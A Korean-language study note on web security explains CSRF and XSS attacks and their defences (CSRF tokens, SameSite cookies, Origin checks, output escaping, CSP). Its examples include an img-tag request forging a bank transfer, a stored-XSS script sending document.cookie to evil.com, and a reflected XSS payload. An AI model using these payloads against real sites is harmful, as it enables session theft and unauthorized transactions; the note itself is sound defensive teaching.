CSRF (Cross Site Request Forgery)
- 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 사이트에 요청
- 즉, 사용자가 의도하지 않은 요청을 특정 사이트에 전송하게 만듦
예시: CSRF를 이용한 무단 송금
1. 사용자는 은행에 로그인
사용자가 브라우저에서 bank.com
에 로그인하고 쿠키로 세션 유지
Cookie: session=abc123secure
2. 공격자가 악성 웹사이트 운영
- 공격자는 자신이 운영하는 웹사이트
evil.com
에 아래와 같은 html을 숨겨둠
<img src="https://bank.example.com/transfer?to=attacker&amount=10000000" />
3. 사용자가 evil.com에 접속
- 사용자는 로그인된 상태로 evil.com에 접속
- 브라우저는
<img src>
태그 자동실행 - 요청에 쿠키를 자동으로 포함
4. 서버는 사용자의 요청으로 착각하고 송금
- 서버는 세션 쿠키만으로 인증된 요청이라 판단
attacker
계좌로 이체실행
방어기법
사용자 측면
- 의심되는 링크 접속하지 않기
- 올바른 도메인인지 확인CSRF Token
- 서버가 폼을 렌더링할 때, 무작위로 토큰을 숨겨서 함께 보내고,
- 사용자가 폼을 제출할 때, 이 토큰을 같이 제출
- 서버는 사용자가 제출한 폼의 토큰이 세션에 저장된 토큰과 일치하는지 확인
- CSRF 토큰은 공격자가 알 수 없는 값이기 때문에, 사용자가 의도적으로 보낸 요청인지를 서버가 검증할 수 있음SameSite 속성
- 크로스 사이트 요청에 쿠키를 아예 포함하지 않도록 저장속성 종류
값 설명 Strict 외부 사이트에서 온 모든 요청에 대해 쿠키 전송 안 함 Lax (일반적으로 기본값) GET 요청은 허용, POST 등 민감한 요청엔 쿠키 전송 안 함 None 모든 요청에 쿠키 전송 → Secure 속성 필수, 그렇지 않으면 브라우저에서 차단 #### 예시 ``` Set-Cookie: sessionid=xyz123; SameSite=Strict; Secure; HttpOnly ```
Referer / Origin 헤더 검사
- 요청의 Origin 혹은 Referer 값을 확인해서 신뢰할 수 있는 출처에서 온 요청인지 판단
if request.headers["Origin"] != "https://yourdomain.com":
return 403 # Forbidden
XSS (Cross Site Scripting)
- 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법
XSS 종류
종류 | 설명 |
---|---|
Stored XSS | 서버에 저장된 콘텐츠에 악성 스크립트 저장 |
Reflected XSS | URL 파라미터 등에 삽입된 스크립트가 응답에 그대로 반영됨 |
DOM-based XSS | 클라이언트 측 JS가 악성 입력을 DOM에 반영 |
Stored XSS
서버에 저장된 콘텐츠에 악성 스크립트 저장
예시: 커뮤니티 사이트
1. 취약한 게시판
- 사용자가 글을 작성
- 서버가 사용자의 입력을 저장할 때,
<script>
태그 필터링을 안 함
2. 공격자가 글 작성
- 공격자가 아래처럼 악성 사이트에서 fetch하는 스크립트를 삽입하여 게시글 작성
<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>
3. 다른 사용자가 그 게시글 열람
- 게시글을 선택하여 열람하기 위해 상세페이지를 열었을 때,
- 서버가 스크립트를 그대로 응답에 포함시키고
- 브라우저는 이를 그대로 실행
4. 피해자 쿠키 탈취
- 로그인 세션 쿠키가 그대로 공격자의 서버로 전송됨
방어기법
- 출력 이스케이프를 활용하여
<script>
같은 태그를<script>
로 바꾸기 - CSP (Content Secure Policy): 외부 스크립트 차단 & 인라인 스크립트 차단
Reflected XSS
URL 파라미터 등에 삽입된 스크립트가 응답에 그대로 반영됨
예시: 검색 사이트
1. 사용자가 일반적으로 검색할 경우
요청: https://search.example.com?q=hello
응답: <p>You searched for: hello</p>
2. 사용자가 비정상적으로 검색할 경우
요청: https://search.example.com?q=<script>alert('XSS')</script>
응답: <p>You searched for: <script>alert('XSS')</script></p>